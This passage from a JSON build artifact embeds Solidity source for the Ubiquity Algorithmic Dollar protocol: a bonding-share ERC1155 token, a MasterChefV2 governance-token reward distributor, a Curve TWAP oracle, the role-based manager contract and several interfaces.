manager.hasRole(manager.PAUSER_ROLE(), msg.sender),\\n \\\"Governance token: not pauser\\\"\\n );\\n _;\\n }\\n\\n /**\\n * @dev constructor\\n */\\n constructor(address _manager, string memory uri) ERC1155(uri) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n }\\n\\n /// @dev update bond LP amount , LP rewards debt and end block.\\n /// @param _bondId bonding share id\\n /// @param _lpAmount amount of LP token deposited\\n /// @param _lpRewardDebt amount of excess LP token inside the bonding contract\\n /// @param _endBlock end locking period block number\\n function updateBond(\\n uint256 _bondId,\\n uint256 _lpAmount,\\n uint256 _lpRewardDebt,\\n uint256 _endBlock\\n ) external onlyMinter whenNotPaused {\\n Bond storage bond = _bonds[_bondId];\\n uint256 curLpAmount = bond.lpAmount;\\n if (curLpAmount > _lpAmount) {\\n // we are removing LP\\n _totalLP -= curLpAmount - _lpAmount;\\n } else {\\n // we are adding LP\\n _totalLP += _lpAmount - curLpAmount;\\n }\\n bond.lpAmount = _lpAmount;\\n bond.lpRewardDebt = _lpRewardDebt;\\n bond.endBlock = _endBlock;\\n }\\n\\n // @dev Creates `amount` new tokens for `to`, of token type `id`.\\n /// @param to owner address\\n /// @param lpDeposited amount of LP token deposited\\n /// @param lpRewardDebt amount of excess LP token inside the bonding contract\\n /// @param endBlock block number when the locking period ends\\n function mint(\\n address to,\\n uint256 lpDeposited,\\n uint256 lpRewardDebt,\\n uint256 endBlock\\n ) public virtual onlyMinter whenNotPaused returns (uint256 id) {\\n id = _totalSupply + 1;\\n _mint(to, id, 1, bytes(\\\"\\\"));\\n _totalSupply += 1;\\n _holderBalances[to].add(id);\\n Bond storage _bond = _bonds[id];\\n _bond.minter = to;\\n _bond.lpFirstDeposited = lpDeposited;\\n _bond.lpAmount = lpDeposited;\\n _bond.lpRewardDebt = lpRewardDebt;\\n _bond.creationBlock = block.number;\\n _bond.endBlock = endBlock;\\n _totalLP += lpDeposited;\\n }\\n\\n /**\\n * @dev Pauses all token transfers.\\n *\\n * See {ERC1155Pausable} and {Pausable-_pause}.\\n *\\n */\\n function pause() public virtual onlyPauser {\\n _pause();\\n }\\n\\n /**\\n * @dev Unpauses all token transfers.\\n *\\n * See {ERC1155Pausable} and {Pausable-_unpause}.\\n *\\n */\\n function unpause() public virtual onlyPauser {\\n _unpause();\\n }\\n\\n /**\\n * @dev See {IERC1155-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) public override whenNotPaused {\\n super.safeTransferFrom(from, to, id, amount, data);\\n _holderBalances[to].add(id);\\n }\\n\\n /**\\n * @dev See {IERC1155-safeBatchTransferFrom}.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) public virtual override whenNotPaused {\\n super.safeBatchTransferFrom(from, to, ids, amounts, data);\\n _holderBalances[to].add(ids);\\n }\\n\\n /**\\n * @dev Total amount of tokens .\\n */\\n function totalSupply() public view virtual returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev Total amount of LP tokens deposited.\\n */\\n function totalLP() public view virtual returns (uint256) {\\n return _totalLP;\\n }\\n\\n /**\\n * @dev return bond details.\\n */\\n function getBond(uint256 id) public view returns (Bond memory) {\\n return _bonds[id];\\n }\\n\\n /**\\n * @dev array of token Id held by the msg.sender.\\n */\\n function holderTokens(address holder)\\n public\\n view\\n returns (uint256[] memory)\\n {\\n return _holderBalances[holder];\\n }\\n\\n function _burn(\\n address account,\\n uint256 id,\\n uint256 amount\\n ) internal virtual override whenNotPaused {\\n require(amount == 1, \\\"amount <> 1\\\");\\n super._burn(account, id, 1);\\n Bond storage _bond = _bonds[id];\\n require(_bond.lpAmount == 0, \\\"LP <> 0\\\");\\n _totalSupply -= 1;\\n }\\n\\n function _burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory amounts\\n ) internal virtual override whenNotPaused {\\n super._burnBatch(account, ids, amounts);\\n for (uint256 i = 0; i < ids.length; ++i) {\\n _totalSupply -= amounts[i];\\n }\\n }\\n\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) internal virtual override(ERC1155, ERC1155Pausable) {\\n super._beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n }\\n}\\n\",\"keccak256\":\"0xff896ee924e35d96997f9b3af56da1adeca058fa23286f16d4ce92c3d8a3faa1\",\"license\":\"MIT\"},\"contracts/MasterChefV2.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity 0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\nimport \\\"./interfaces/IERC20Ubiquity.sol\\\";\\nimport \\\"./UbiquityAlgorithmicDollarManager.sol\\\";\\nimport \\\"./interfaces/ITWAPOracle.sol\\\";\\nimport \\\"./BondingShareV2.sol\\\";\\nimport \\\"./interfaces/IUbiquityFormulas.sol\\\";\\n\\nimport \\\"./interfaces/IERC1155Ubiquity.sol\\\";\\n\\ncontract MasterChefV2 {\\n using SafeERC20 for IERC20Ubiquity;\\n using SafeERC20 for IERC20;\\n\\n // Info of each user.\\n struct BondingShareInfo {\\n uint256 amount; // bonding rights.\\n uint256 rewardDebt; // Reward debt. See explanation below.\\n //\\n // We do some fancy math here. Basically, any point in time, the amount of uGOVs\\n // entitled to a user but is pending to be distributed is:\\n //\\n // pending reward = (user.amount * pool.accuGOVPerShare) - user.rewardDebt\\n //\\n // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:\\n // 1. The pool's `accuGOVPerShare` (and `lastRewardBlock`) gets updated.\\n // 2. User receives the pending reward sent to his/her address.\\n // 3. User's `amount` gets updated.\\n // 4. User's `rewardDebt` gets updated.\\n }\\n // Info of each pool.\\n struct PoolInfo {\\n uint256 lastRewardBlock; // Last block number that uGOVs distribution occurs.\\n uint256 accuGOVPerShare; // Accumulated uGOVs per share, times 1e12. See below.\\n }\\n\\n uint256 private _totalShares;\\n\\n // Ubiquity Manager\\n UbiquityAlgorithmicDollarManager public manager;\\n\\n // uGOV tokens created per block.\\n uint256 public uGOVPerBlock = 1e18;\\n // Bonus muliplier for early uGOV makers.\\n uint256 public uGOVmultiplier = 1e18;\\n uint256 public minPriceDiffToUpdateMultiplier = 1000000000000000;\\n uint256 public lastPrice = 1 ether;\\n uint256 public uGOVDivider;\\n // Info of each pool.\\n PoolInfo public pool;\\n // Info of each user that stakes LP tokens.\\n mapping(uint256 => BondingShareInfo) private _bsInfo;\\n\\n event Deposit(\\n address indexed user,\\n uint256 amount,\\n uint256 indexed bondingShareId\\n );\\n\\n event Withdraw(\\n address indexed user,\\n uint256 amount,\\n uint256 indexed bondingShareId\\n );\\n\\n // ----------- Modifiers -----------\\n modifier onlyTokenManager() {\\n require(\\n manager.hasRole(manager.UBQ_TOKEN_MANAGER_ROLE(), msg.sender),\\n \\\"MasterChef: not UBQ manager\\\"\\n );\\n _;\\n }\\n modifier onlyBondingContract() {\\n require(\\n msg.sender == manager.bondingContractAddress(),\\n \\\"MasterChef: not Bonding Contract\\\"\\n );\\n _;\\n }\\n\\n constructor(address _manager) {\\n manager = UbiquityAlgorithmicDollarManager(_manager);\\n pool.lastRewardBlock = block.number;\\n pool.accuGOVPerShare = 0; // uint256(1e12);\\n uGOVDivider = 5; // 100 / 5 = 20% extra minted ugov for treasury\\n _updateUGOVMultiplier();\\n }\\n\\n function setUGOVPerBlock(uint256 _uGOVPerBlock) external onlyTokenManager {\\n uGOVPerBlock = _uGOVPerBlock;\\n }\\n\\n // the bigger uGOVDivider is the less extra Ugov will be minted for the treasury\\n function setUGOVShareForTreasury(uint256 _uGOVDivider)\\n external\\n onlyTokenManager\\n {\\n uGOVDivider = _uGOVDivider;\\n }\\n\\n function setMinPriceDiffToUpdateMultiplier(\\n uint256 _minPriceDiffToUpdateMultiplier\\n ) external onlyTokenManager {\\n minPriceDiffToUpdateMultiplier = _minPriceDiffToUpdateMultiplier;\\n }\\n\\n // Deposit LP tokens to MasterChef for uGOV allocation.\\n function deposit(\\n address to,\\n uint256 _amount,\\n uint256 _bondingShareID\\n ) external onlyBondingContract {\\n BondingShareInfo storage bs = _bsInfo[_bondingShareID];\\n _updatePool();\\n if (bs.amount > 0) {\\n uint256 pending = ((bs.amount * pool.accuGOVPerShare) / 1e12) -\\n bs.rewardDebt;\\n _safeUGOVTransfer(to, pending);\\n }\\n bs.amount += _amount;\\n bs.rewardDebt = (bs.amount * pool.accuGOVPerShare) / 1e12;\\n _totalShares += _amount;\\n emit Deposit(to, _amount, _bondingShareID);\\n }\\n\\n // Withdraw LP tokens from MasterChef.\\n function withdraw(\\n address to,\\n uint256 _amount,\\n uint256 _bondingShareID\\n ) external onlyBondingContract {\\n BondingShareInfo storage bs = _bsInfo[_bondingShareID];\\n require(bs.amount >= _amount, \\\"MC: amount too high\\\");\\n _updatePool();\\n uint256 pending = ((bs.amount * pool.accuGOVPerShare) / 1e12) -\\n bs.rewardDebt;\\n // send UGOV to Bonding Share holder\\n\\n _safeUGOVTransfer(to, pending);\\n bs.amount -= _amount;\\n bs.rewardDebt = (bs.amount * pool.accuGOVPerShare) / 1e12;\\n _totalShares -= _amount;\\n emit Withdraw(to, _amount, _bondingShareID);\\n }\\n\\n /// @dev get pending uGOV rewards from MasterChef.\\n /// @return amount of pending rewards transfered to msg.sender\\n /// @notice only send pending rewards\\n function getRewards(uint256 bondingShareID) external returns (uint256) {\\n require(\\n IERC1155Ubiquity(manager.bondingShareAddress()).balanceOf(\\n msg.sender,\\n bondingShareID\\n ) == 1,\\n \\\"MS: caller is not owner\\\"\\n );\\n\\n // calculate user reward\\n BondingShareInfo storage user = _bsInfo[bondingShareID];\\n _updatePool();\\n uint256 pending = ((user.amount * pool.accuGOVPerShare) / 1e12) -\\n user.rewardDebt;\\n _safeUGOVTransfer(msg.sender, pending);\\n user.rewardDebt = (user.amount * pool.accuGOVPerShare) / 1e12;\\n return pending;\\n }\\n\\n // View function to see pending uGOVs on frontend.\\n function pendingUGOV(uint256 bondingShareID)\\n external\\n view\\n returns (uint256)\\n {\\n BondingShareInfo storage user = _bsInfo[bondingShareID];\\n uint256 accuGOVPerShare = pool.accuGOVPerShare;\\n uint256 lpSupply = IERC1155Ubiquity(manager.bondingShareAddress())\\n .totalSupply();\\n\\n if (block.number > pool.lastRewardBlock && lpSupply != 0) {\\n uint256 multiplier = _getMultiplier();\\n\\n uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18;\\n accuGOVPerShare =\\n accuGOVPerShare +\\n ((uGOVReward * 1e12) / lpSupply);\\n }\\n\\n return (user.amount * accuGOVPerShare) / 1e12 - user.rewardDebt;\\n }\\n\\n /**\\n * @dev get the amount of shares and the reward debt of a bonding share .\\n */\\n function getBondingShareInfo(uint256 _id)\\n external\\n view\\n returns (uint256[2] memory)\\n {\\n return [_bsInfo[_id].amount, _bsInfo[_id].rewardDebt];\\n }\\n\\n /**\\n * @dev Total amount of shares .\\n */\\n function totalShares() external view virtual returns (uint256) {\\n return _totalShares;\\n }\\n\\n // UPDATE uGOV multiplier\\n function _updateUGOVMultiplier() internal {\\n // (1.05/(1+abs(1-TWAP_PRICE)))\\n uint256 currentPrice = _getTwapPrice();\\n\\n bool isPriceDiffEnough = false;\\n // a minimum price variation is needed to update the multiplier\\n if (currentPrice > lastPrice) {\\n isPriceDiffEnough =\\n currentPrice - lastPrice > minPriceDiffToUpdateMultiplier;\\n } else {\\n isPriceDiffEnough =\\n lastPrice - currentPrice > minPriceDiffToUpdateMultiplier;\\n }\\n\\n if (isPriceDiffEnough) {\\n uGOVmultiplier = IUbiquityFormulas(manager.formulasAddress())\\n .ugovMultiply(uGOVmultiplier, currentPrice);\\n lastPrice = currentPrice;\\n }\\n }\\n\\n // Update reward variables of the given pool to be up-to-date.\\n function _updatePool() internal {\\n if (block.number <= pool.lastRewardBlock) {\\n return;\\n }\\n _updateUGOVMultiplier();\\n uint256 lpSupply = IERC1155Ubiquity(manager.bondingShareAddress())\\n .totalSupply();\\n if (lpSupply == 0) {\\n pool.lastRewardBlock = block.number;\\n return;\\n }\\n uint256 multiplier = _getMultiplier();\\n uint256 uGOVReward = (multiplier * uGOVPerBlock) / 1e18;\\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\\n address(this),\\n uGOVReward\\n );\\n // mint another x% for the treasury\\n IERC20Ubiquity(manager.governanceTokenAddress()).mint(\\n manager.treasuryAddress(),\\n uGOVReward / uGOVDivider\\n );\\n pool.accuGOVPerShare =\\n pool.accuGOVPerShare +\\n ((uGOVReward * 1e12) / lpSupply);\\n pool.lastRewardBlock = block.number;\\n }\\n\\n // Safe uGOV transfer function, just in case if rounding\\n // error causes pool to not have enough uGOVs.\\n function _safeUGOVTransfer(address _to, uint256 _amount) internal {\\n IERC20Ubiquity uGOV = IERC20Ubiquity(manager.governanceTokenAddress());\\n uint256 uGOVBal = uGOV.balanceOf(address(this));\\n if (_amount > uGOVBal) {\\n uGOV.safeTransfer(_to, uGOVBal);\\n } else {\\n uGOV.safeTransfer(_to, _amount);\\n }\\n }\\n\\n function _getMultiplier() internal view returns (uint256) {\\n return (block.number - pool.lastRewardBlock) * uGOVmultiplier;\\n }\\n\\n function _getTwapPrice() internal view returns (uint256) {\\n return\\n ITWAPOracle(manager.twapOracleAddress()).consult(\\n manager.dollarTokenAddress()\\n );\\n }\\n}\\n\",\"keccak256\":\"0x59216bb1932ba4a3651f4e252c4226d3d6f4be5683e0591c47e231e4801c38dd\",\"license\":\"MIT\"},\"contracts/TWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\ncontract TWAPOracle {\\n address public immutable pool;\\n address public immutable token0;\\n address public immutable token1;\\n uint256 public price0Average;\\n uint256 public price1Average;\\n uint256 public pricesBlockTimestampLast;\\n uint256[2] public priceCumulativeLast;\\n\\n constructor(\\n address _pool,\\n address _uADtoken0,\\n address _curve3CRVtoken1\\n ) {\\n pool = _pool;\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(_pool).coins(0) == _uADtoken0 &&\\n IMetaPool(_pool).coins(1) == _curve3CRVtoken1,\\n \\\"TWAPOracle: COIN_ORDER_MISMATCH\\\"\\n );\\n\\n token0 = _uADtoken0;\\n token1 = _curve3CRVtoken1;\\n\\n uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));\\n uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));\\n\\n // ensure that there's liquidity in the pair\\n require(_reserve0 != 0 && _reserve1 != 0, \\\"TWAPOracle: NO_RESERVES\\\");\\n // ensure that pair balance is perfect\\n require(_reserve0 == _reserve1, \\\"TWAPOracle: PAIR_UNBALANCED\\\");\\n priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();\\n pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();\\n\\n price0Average = 1 ether;\\n price1Average = 1 ether;\\n }\\n\\n // calculate average price\\n function update() external {\\n (\\n uint256[2] memory priceCumulative,\\n uint256 blockTimestamp\\n ) = _currentCumulativePrices();\\n\\n if (blockTimestamp - pricesBlockTimestampLast > 0) {\\n // get the balances between now and the last price cumulative snapshot\\n uint256[2] memory twapBalances = IMetaPool(pool).get_twap_balances(\\n priceCumulativeLast,\\n priceCumulative,\\n blockTimestamp - pricesBlockTimestampLast\\n );\\n\\n // price to exchange amounIn uAD to 3CRV based on TWAP\\n price0Average = IMetaPool(pool).get_dy(0, 1, 1 ether, twapBalances);\\n // price to exchange amounIn 3CRV to uAD based on TWAP\\n price1Average = IMetaPool(pool).get_dy(1, 0, 1 ether, twapBalances);\\n // we update the priceCumulative\\n priceCumulativeLast = priceCumulative;\\n pricesBlockTimestampLast = blockTimestamp;\\n }\\n }\\n\\n // note this will always return 0 before update has been called successfully\\n // for the first time.\\n function consult(address token) external view returns (uint256 amountOut) {\\n if (token == token0) {\\n // price to exchange 1 uAD to 3CRV based on TWAP\\n amountOut = price0Average;\\n } else {\\n require(token == token1, \\\"TWAPOracle: INVALID_TOKEN\\\");\\n // price to exchange 1 3CRV to uAD based on TWAP\\n amountOut = price1Average;\\n }\\n }\\n\\n function _currentCumulativePrices()\\n internal\\n view\\n returns (uint256[2] memory priceCumulative, uint256 blockTimestamp)\\n {\\n priceCumulative = IMetaPool(pool).get_price_cumulative_last();\\n blockTimestamp = IMetaPool(pool).block_timestamp_last();\\n }\\n}\\n\",\"keccak256\":\"0x0341b8dcf0f7855cc155fa518c027826fb066239a84e5c0d35381c7d4106e774\",\"license\":\"Apache-2.0\"},\"contracts/UbiquityAlgorithmicDollarManager.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/access/AccessControl.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/ERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"./interfaces/IUbiquityAlgorithmicDollar.sol\\\";\\nimport \\\"./interfaces/ICurveFactory.sol\\\";\\nimport \\\"./interfaces/IMetaPool.sol\\\";\\n\\nimport \\\"./TWAPOracle.sol\\\";\\n\\n/// @title A central config for the uAD system. Also acts as a central\\n/// access control manager.\\n/// @notice For storing constants. For storing variables and allowing them to\\n/// be changed by the admin (governance)\\n/// @dev This should be used as a central access control manager which other\\n/// contracts use to check permissions\\ncontract UbiquityAlgorithmicDollarManager is AccessControl {\\n using SafeERC20 for IERC20;\\n\\n bytes32 public constant UBQ_MINTER_ROLE = keccak256(\\\"UBQ_MINTER_ROLE\\\");\\n bytes32 public constant UBQ_BURNER_ROLE = keccak256(\\\"UBQ_BURNER_ROLE\\\");\\n\\n bytes32 public constant PAUSER_ROLE = keccak256(\\\"PAUSER_ROLE\\\");\\n bytes32 public constant COUPON_MANAGER_ROLE = keccak256(\\\"COUPON_MANAGER\\\");\\n bytes32 public constant BONDING_MANAGER_ROLE = keccak256(\\\"BONDING_MANAGER\\\");\\n bytes32 public constant INCENTIVE_MANAGER_ROLE =\\n keccak256(\\\"INCENTIVE_MANAGER\\\");\\n bytes32 public constant UBQ_TOKEN_MANAGER_ROLE =\\n keccak256(\\\"UBQ_TOKEN_MANAGER_ROLE\\\");\\n address public twapOracleAddress;\\n address public debtCouponAddress;\\n address public dollarTokenAddress; // uAD\\n address public couponCalculatorAddress;\\n address public dollarMintingCalculatorAddress;\\n address public bondingShareAddress;\\n address public bondingContractAddress;\\n address public stableSwapMetaPoolAddress;\\n address public curve3PoolTokenAddress; // 3CRV\\n address public treasuryAddress;\\n address public governanceTokenAddress; // uGOV\\n address public sushiSwapPoolAddress; // sushi pool uAD-uGOV\\n address public masterChefAddress;\\n address public formulasAddress;\\n address public autoRedeemTokenAddress; // uAR\\n address public uarCalculatorAddress; // uAR calculator\\n\\n //key = address of couponmanager, value = excessdollardistributor\\n mapping(address => address) private _excessDollarDistributors;\\n\\n modifier onlyAdmin() {\\n require(\\n hasRole(DEFAULT_ADMIN_ROLE, msg.sender),\\n \\\"uADMGR: Caller is not admin\\\"\\n );\\n _;\\n }\\n\\n constructor(address _admin) {\\n _setupRole(DEFAULT_ADMIN_ROLE, _admin);\\n _setupRole(UBQ_MINTER_ROLE, _admin);\\n _setupRole(PAUSER_ROLE, _admin);\\n _setupRole(COUPON_MANAGER_ROLE, _admin);\\n _setupRole(BONDING_MANAGER_ROLE, _admin);\\n _setupRole(INCENTIVE_MANAGER_ROLE, _admin);\\n _setupRole(UBQ_TOKEN_MANAGER_ROLE, address(this));\\n }\\n\\n // TODO Add a generic setter for extra addresses that needs to be linked\\n function setTwapOracleAddress(address _twapOracleAddress)\\n external\\n onlyAdmin\\n {\\n twapOracleAddress = _twapOracleAddress;\\n // to be removed\\n\\n TWAPOracle oracle = TWAPOracle(twapOracleAddress);\\n oracle.update();\\n }\\n\\n function setuARTokenAddress(address _uarTokenAddress) external onlyAdmin {\\n autoRedeemTokenAddress = _uarTokenAddress;\\n }\\n\\n function setDebtCouponAddress(address _debtCouponAddress)\\n external\\n onlyAdmin\\n {\\n debtCouponAddress = _debtCouponAddress;\\n }\\n\\n function setIncentiveToUAD(address _account, address _incentiveAddress)\\n external\\n onlyAdmin\\n {\\n IUbiquityAlgorithmicDollar(dollarTokenAddress).setIncentiveContract(\\n _account,\\n _incentiveAddress\\n );\\n }\\n\\n function setDollarTokenAddress(address _dollarTokenAddress)\\n external\\n onlyAdmin\\n {\\n dollarTokenAddress = _dollarTokenAddress;\\n }\\n\\n function setGovernanceTokenAddress(address _governanceTokenAddress)\\n external\\n onlyAdmin\\n {\\n governanceTokenAddress = _governanceTokenAddress;\\n }\\n\\n function setSushiSwapPoolAddress(address _sushiSwapPoolAddress)\\n external\\n onlyAdmin\\n {\\n sushiSwapPoolAddress = _sushiSwapPoolAddress;\\n }\\n\\n function setUARCalculatorAddress(address _uarCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n uarCalculatorAddress = _uarCalculatorAddress;\\n }\\n\\n function setCouponCalculatorAddress(address _couponCalculatorAddress)\\n external\\n onlyAdmin\\n {\\n couponCalculatorAddress = _couponCalculatorAddress;\\n }\\n\\n function setDollarMintingCalculatorAddress(\\n address _dollarMintingCalculatorAddress\\n ) external onlyAdmin {\\n dollarMintingCalculatorAddress = _dollarMintingCalculatorAddress;\\n }\\n\\n function setExcessDollarsDistributor(\\n address debtCouponManagerAddress,\\n address excessCouponDistributor\\n ) external onlyAdmin {\\n _excessDollarDistributors[\\n debtCouponManagerAddress\\n ] = excessCouponDistributor;\\n }\\n\\n function setMasterChefAddress(address _masterChefAddress)\\n external\\n onlyAdmin\\n {\\n masterChefAddress = _masterChefAddress;\\n }\\n\\n function setFormulasAddress(address _formulasAddress) external onlyAdmin {\\n formulasAddress = _formulasAddress;\\n }\\n\\n function setBondingShareAddress(address _bondingShareAddress)\\n external\\n onlyAdmin\\n {\\n bondingShareAddress = _bondingShareAddress;\\n }\\n\\n function setStableSwapMetaPoolAddress(address _stableSwapMetaPoolAddress)\\n external\\n onlyAdmin\\n {\\n stableSwapMetaPoolAddress = _stableSwapMetaPoolAddress;\\n }\\n\\n /**\\n @notice set the bonding bontract smart contract address\\n @dev bonding contract participants deposit curve LP token\\n for a certain duration to earn uGOV and more curve LP token\\n @param _bondingContractAddress bonding contract address\\n */\\n function setBondingContractAddress(address _bondingContractAddress)\\n external\\n onlyAdmin\\n {\\n bondingContractAddress = _bondingContractAddress;\\n }\\n\\n /**\\n @notice set the treasury address\\n @dev the treasury fund is used to maintain the protocol\\n @param _treasuryAddress treasury fund address\\n */\\n function setTreasuryAddress(address _treasuryAddress) external onlyAdmin {\\n treasuryAddress = _treasuryAddress;\\n }\\n\\n /**\\n @notice deploy a new Curve metapools for uAD Token uAD/3Pool\\n @dev From the curve documentation for uncollateralized algorithmic\\n stablecoins amplification should be 5-10\\n @param _curveFactory MetaPool factory address\\n @param _crvBasePool Address of the base pool to use within the new metapool.\\n @param _crv3PoolTokenAddress curve 3Pool token Address\\n @param _amplificationCoefficient amplification coefficient. The smaller\\n it is the closer to a constant product we are.\\n @param _fee Trade fee, given as an integer with 1e10 precision.\\n */\\n function deployStableSwapPool(\\n address _curveFactory,\\n address _crvBasePool,\\n address _crv3PoolTokenAddress,\\n uint256 _amplificationCoefficient,\\n uint256 _fee\\n ) external onlyAdmin {\\n // Create new StableSwap meta pool (uAD <-> 3Crv)\\n address metaPool = ICurveFactory(_curveFactory).deploy_metapool(\\n _crvBasePool,\\n ERC20(dollarTokenAddress).name(),\\n ERC20(dollarTokenAddress).symbol(),\\n dollarTokenAddress,\\n _amplificationCoefficient,\\n _fee\\n );\\n stableSwapMetaPoolAddress = metaPool;\\n\\n // Approve the newly-deployed meta pool to transfer this contract's funds\\n uint256 crv3PoolTokenAmount = IERC20(_crv3PoolTokenAddress).balanceOf(\\n address(this)\\n );\\n uint256 uADTokenAmount = IERC20(dollarTokenAddress).balanceOf(\\n address(this)\\n );\\n\\n // safe approve revert if approve from non-zero to non-zero allowance\\n IERC20(_crv3PoolTokenAddress).safeApprove(metaPool, 0);\\n IERC20(_crv3PoolTokenAddress).safeApprove(\\n metaPool,\\n crv3PoolTokenAmount\\n );\\n\\n IERC20(dollarTokenAddress).safeApprove(metaPool, 0);\\n IERC20(dollarTokenAddress).safeApprove(metaPool, uADTokenAmount);\\n\\n // coin at index 0 is uAD and index 1 is 3CRV\\n require(\\n IMetaPool(metaPool).coins(0) == dollarTokenAddress &&\\n IMetaPool(metaPool).coins(1) == _crv3PoolTokenAddress,\\n \\\"uADMGR: COIN_ORDER_MISMATCH\\\"\\n );\\n // Add the initial liquidity to the StableSwap meta pool\\n uint256[2] memory amounts = [\\n IERC20(dollarTokenAddress).balanceOf(address(this)),\\n IERC20(_crv3PoolTokenAddress).balanceOf(address(this))\\n ];\\n\\n // set curve 3Pool address\\n curve3PoolTokenAddress = _crv3PoolTokenAddress;\\n IMetaPool(metaPool).add_liquidity(amounts, 0, msg.sender);\\n }\\n\\n function getExcessDollarsDistributor(address _debtCouponManagerAddress)\\n external\\n view\\n returns (address)\\n {\\n return _excessDollarDistributors[_debtCouponManagerAddress];\\n }\\n}\\n\",\"keccak256\":\"0x16c9815f13f4c91de78beaecf3b0950ad2a481afd5da13d256e6575ac4dd57bc\",\"license\":\"MIT\"},\"contracts/interfaces/ICurveFactory.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ICurveFactory {\\n event BasePoolAdded(address base_pool, address implementat);\\n event MetaPoolDeployed(\\n address coin,\\n address base_pool,\\n uint256 A,\\n uint256 fee,\\n address deployer\\n );\\n\\n function find_pool_for_coins(address _from, address _to)\\n external\\n view\\n returns (address);\\n\\n function find_pool_for_coins(\\n address _from,\\n address _to,\\n uint256 i\\n ) external view returns (address);\\n\\n function get_n_coins(address _pool)\\n external\\n view\\n returns (uint256, uint256);\\n\\n function get_coins(address _pool) external view returns (address[2] memory);\\n\\n function get_underlying_coins(address _pool)\\n external\\n view\\n returns (address[8] memory);\\n\\n function get_decimals(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_decimals(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_rates(address _pool) external view returns (uint256[2] memory);\\n\\n function get_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_underlying_balances(address _pool)\\n external\\n view\\n returns (uint256[8] memory);\\n\\n function get_A(address _pool) external view returns (uint256);\\n\\n function get_fees(address _pool) external view returns (uint256, uint256);\\n\\n function get_admin_balances(address _pool)\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function get_coin_indices(\\n address _pool,\\n address _from,\\n address _to\\n )\\n external\\n view\\n returns (\\n int128,\\n int128,\\n bool\\n );\\n\\n function add_base_pool(\\n address _base_pool,\\n address _metapool_implementation,\\n address _fee_receiver\\n ) external;\\n\\n function deploy_metapool(\\n address _base_pool,\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _A,\\n uint256 _fee\\n ) external returns (address);\\n\\n function commit_transfer_ownership(address addr) external;\\n\\n function accept_transfer_ownership() external;\\n\\n function set_fee_receiver(address _base_pool, address _fee_receiver)\\n external;\\n\\n function convert_fees() external returns (bool);\\n\\n function admin() external view returns (address);\\n\\n function future_admin() external view returns (address);\\n\\n function pool_list(uint256 arg0) external view returns (address);\\n\\n function pool_count() external view returns (uint256);\\n\\n function base_pool_list(uint256 arg0) external view returns (address);\\n\\n function base_pool_count() external view returns (uint256);\\n\\n function fee_receiver(address arg0) external view returns (address);\\n}\\n\",\"keccak256\":\"0xcb339cf4aab1d3b5e35f541b496ffba0b9ca6a5e1da6dfbe9d03cde693d2f10e\",\"license\":\"MIT\"},\"contracts/interfaces/IERC1155Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\\\";\\n\\n/// @title ERC1155 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC1155Ubiquity is IERC1155 {\\n function mint(\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n ) external;\\n\\n function mintBatch(\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n ) external;\\n\\n function burn(\\n address account,\\n uint256 id,\\n uint256 value\\n ) external;\\n\\n function burnBatch(\\n address account,\\n uint256[] memory ids,\\n uint256[] memory values\\n ) external;\\n\\n function pause() external;\\n\\n function unpause() external;\\n\\n function totalSupply() external view returns (uint256);\\n\\n function exists(uint256 id) external view returns (bool);\\n\\n function holderTokens() external view returns (uint256[] memory);\\n}\\n\",\"keccak256\":\"0x49a2cea3597a289be6297d1881a582842a021fbb69ee6703cfd74809d0e640af\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IERC20Ubiquity.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\n/// @title ERC20 Ubiquiti preset interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IERC20Ubiquity is IERC20 {\\n // ----------- Events -----------\\n 